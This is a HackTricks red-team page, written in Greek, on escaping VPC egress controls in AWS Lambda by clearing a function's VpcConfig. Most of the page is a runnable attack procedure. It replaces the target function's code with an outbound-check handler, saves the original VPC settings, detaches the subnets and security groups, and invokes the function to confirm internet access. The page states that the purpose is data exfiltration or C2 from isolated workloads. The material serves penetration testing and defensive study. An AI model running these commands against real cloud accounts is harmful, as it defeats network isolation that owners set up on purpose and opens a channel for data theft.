AWS Lambda – VPC Egress Bypass by Detaching VpcConfig

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Αναγκάστε μια Lambda function να εξέλθει από ένα περιορισμένο VPC ενημερώνοντας τη ρύθμισή της με ένα κενό VpcConfig (SubnetIds=[], SecurityGroupIds=[]). Η function θα τρέξει τότε στο Lambda-managed networking plane, επανακτώντας την εξερχόμενη πρόσβαση στο Internet και παρακάμπτοντας τους ελέγχους egress που εφαρμόζονται από ιδιωτικά VPC subnets χωρίς NAT.

Κατάχρηση

  • Προαπαιτούμενα: lambda:UpdateFunctionConfiguration στο target function (και lambda:InvokeFunction για επικύρωση), καθώς και δικαιώματα για update κώδικα/handler αν τα αλλάξετε.
  • Υποθέσεις: Η function είναι αυτή τη στιγμή ρυθμισμένη με VpcConfig που δείχνει σε ιδιωτικά subnets χωρίς NAT (οπότε η εξερχόμενη πρόσβαση στο Internet είναι μπλοκαρισμένη).
  • Region: us-east-1

Βήματα

  1. Προετοιμάστε έναν ελάχιστο handler που αποδεικνύει ότι η εξερχόμενη HTTP λειτουργεί

cat > net.py <<‘PY’ import urllib.request, json

def lambda_handler(event, context): try: ip = urllib.request.urlopen(‘https://checkip.amazonaws.com’, timeout=3).read().decode().strip() return {“egress”: True, “ip”: ip} except Exception as e: return {“egress”: False, “err”: str(e)} PY zip net.zip net.py aws lambda update-function-code –function-name $TARGET_FN –zip-file fileb://net.zip –region $REGION || true aws lambda update-function-configuration –function-name $TARGET_FN –handler net.lambda_handler –region $REGION || true

  1. Καταγράψτε την τρέχουσα VPC config (για αποκατάσταση αργότερα αν χρειαστεί)

aws lambda get-function-configuration –function-name $TARGET_FN –query ‘VpcConfig’ –region $REGION > /tmp/orig-vpc.json cat /tmp/orig-vpc.json

  1. Αποσυνδέστε το VPC θέτοντας κενές λίστες

aws lambda update-function-configuration
–function-name $TARGET_FN
–vpc-config SubnetIds=[],SecurityGroupIds=[]
–region $REGION until [ “$(aws lambda get-function-configuration –function-name $TARGET_FN –query LastUpdateStatus –output text –region $REGION)” = “Successful” ]; do sleep 2; done

  1. Επικαλεστείτε και επαληθεύστε την εξερχόμενη πρόσβαση

aws lambda invoke –function-name $TARGET_FN /tmp/net-out.json –region $REGION >/dev/null cat /tmp/net-out.json

(Προαιρετικό) Επαναφέρετε την αρχική VPC config

if jq -e ‘.SubnetIds | length > 0’ /tmp/orig-vpc.json >/dev/null; then SUBS=$(jq -r ‘.SubnetIds | join(“,”)’ /tmp/orig-vpc.json); SGS=$(jq -r ‘.SecurityGroupIds | join(“,”)’ /tmp/orig-vpc.json) aws lambda update-function-configuration –function-name $TARGET_FN –vpc-config SubnetIds=[$SUBS],SecurityGroupIds=[$SGS] –region $REGION fi

Επιπτώσεις

  • Επανακτάται η απεριόριστη εξερχόμενη πρόσβαση στο Internet από τη function, επιτρέποντας data exfiltration ή C2 από workloads που είχαν σκόπιμα απομονωθεί σε ιδιωτικά subnets χωρίς NAT.

Παράδειγμα output (μετά την αποσύνδεση του VpcConfig)

{“egress”: true, “ip”: “34.x.x.x”}

Καθαρισμός

  • Αν δημιουργήσατε προσωρινές αλλαγές στον κώδικα/handler, επαναφέρετέ τες.
  • Προαιρετικά επαναφέρετε το αρχικό VpcConfig αποθηκευμένο στο /tmp/orig-vpc.json όπως φαίνεται παραπάνω.

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks